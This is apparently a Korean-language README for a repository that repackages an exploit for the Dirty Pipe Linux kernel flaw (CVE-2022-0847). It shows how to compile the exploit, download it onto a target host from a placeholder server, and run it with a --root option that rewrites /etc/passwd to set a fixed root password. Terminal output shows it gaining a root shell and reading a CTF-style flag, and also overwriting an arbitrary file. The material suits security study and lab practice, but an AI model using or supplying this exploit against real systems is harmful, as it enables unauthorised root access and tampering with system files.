Dirty Pipe 취약점: CVE-2022-0847

Dirty Pipe 취약점(CVE-2022-0847)은 Linux 커널의 중요한 결함입니다. 이 저장소는 널리 사용되는 익스플로잇 코드를 보다 사용자 친화적이고 모듈식으로 만든 수정 버전을 제공합니다.

이 취약점에 대한 자세한 설명은 HackTheBox 블로그에서 확인할 수 있습니다. Max Kellermann의 원본, 더 상세한 설명은 그의 블로그에서 확인할 수 있습니다.

이 수정 버전은 모듈성과 수정 용이성을 높이기 위해 여러 가지 방법으로 분할되어 있습니다. 특히, --root 옵션이 추가되어 /etc/passwd 파일을 수정하여 비밀번호 el3ph@nt!로 루트 액세스를 얻을 수 있습니다.

익스플로잇을 정적으로 컴파일하세요:

gcc -o dpipe dpipe.c -static

그리고 실행하기 전에 대상에서 다운로드하세요:

yoan@teecup:~$ wget http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
--2023-10-15 20:07:44--  http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
Connecting to YOUR_SERVER_ADDRESS:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769792 (752K) [text/plain]
Saving to: ‘dpipe’

dpipe                                   100%[=============================================================================>] 751.75K  --.-KB/s    in 0.09s

2023-10-15 20:07:44 (8.09 MB/s) - ‘dpipe’ saved [769792/769792]

yoan@teecup:~$ chmod +x dpipe
yoan@teecup:~$ ./dpipe --root
[Dirty Pipe] Attempting to backup '/etc/passwd' to '/tmp/passwd.bak'
[Dirty Pipe] Successfully backed up '/etc/passwd' to '/tmp/passwd.bak'
[Dirty Pipe] Initiating write to '/etc/passwd'...
[Dirty Pipe] Data size to write: 131 bytes
[Dirty Pipe] File '/etc/passwd' opened successfully for reading.
[Dirty Pipe] Pipe size determined: 65536 bytes
[Dirty Pipe] Filling the pipe...
[Dirty Pipe] Pipe filled successfully.
[Dirty Pipe] Draining the pipe...
[Dirty Pipe] Pipe drained successfully.
[Dirty Pipe] Data successfully written to '/etc/passwd'.
[Dirty Pipe] You can connect as root with password 'el3ph@nt!'
[Dirty Pipe] Program execution completed successfully.
yoan@teecup:~$
yoan@teecup:~$ cat /etc/passwd
root:$6$9WETWbCBTQ8pxg4I$odZAx8iIlayCnFdUwDM5dHVfsXXZo1RHRp2a4uQzcPDkRiTJYLA4loZESihn4ASGhWKN9.RWPT.CZJdyfTej4/:0:0:root:/root:/bin/sh
:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
yoan:x:1000:1000::/home/yoan:/bin/bash
yoan@teecup:~$ su root
Password:
# cd /root
# cat flag.txt
Great job! You found me.

다른 파일의 내용을 덮어쓰는 데에도 이 익스플로잇을 사용할 수 있습니다:

yoan@teecup:~$ echo "Vxxx" > dirty
yoan@teecup:~$ cat dirty
Vxxx
yoan@teecup:~$ ./dpipe dirty 1 uln
[Dirty Pipe] Standard file overwrite mode detected...
[Dirty Pipe] Attempting to backup 'dirty' to '/tmp/dirty.bak'
[Dirty Pipe] Successfully backed up 'dirty' to '/tmp/dirty.bak'
[Dirty Pipe] Initiating write to 'dirty'...
[Dirty Pipe] Data size to write: 3 bytes
[Dirty Pipe] File 'dirty' opened successfully for reading.
[Dirty Pipe] Pipe size determined: 65536 bytes
[Dirty Pipe] Filling the pipe...
[Dirty Pipe] Pipe filled successfully.
[Dirty Pipe] Draining the pipe...
[Dirty Pipe] Pipe drained successfully.
[Dirty Pipe] Data successfully written to 'dirty'.
[Dirty Pipe] Program execution completed successfully.
yoan@teecup:~$ cat dirty
Vuln

DirtyPipe

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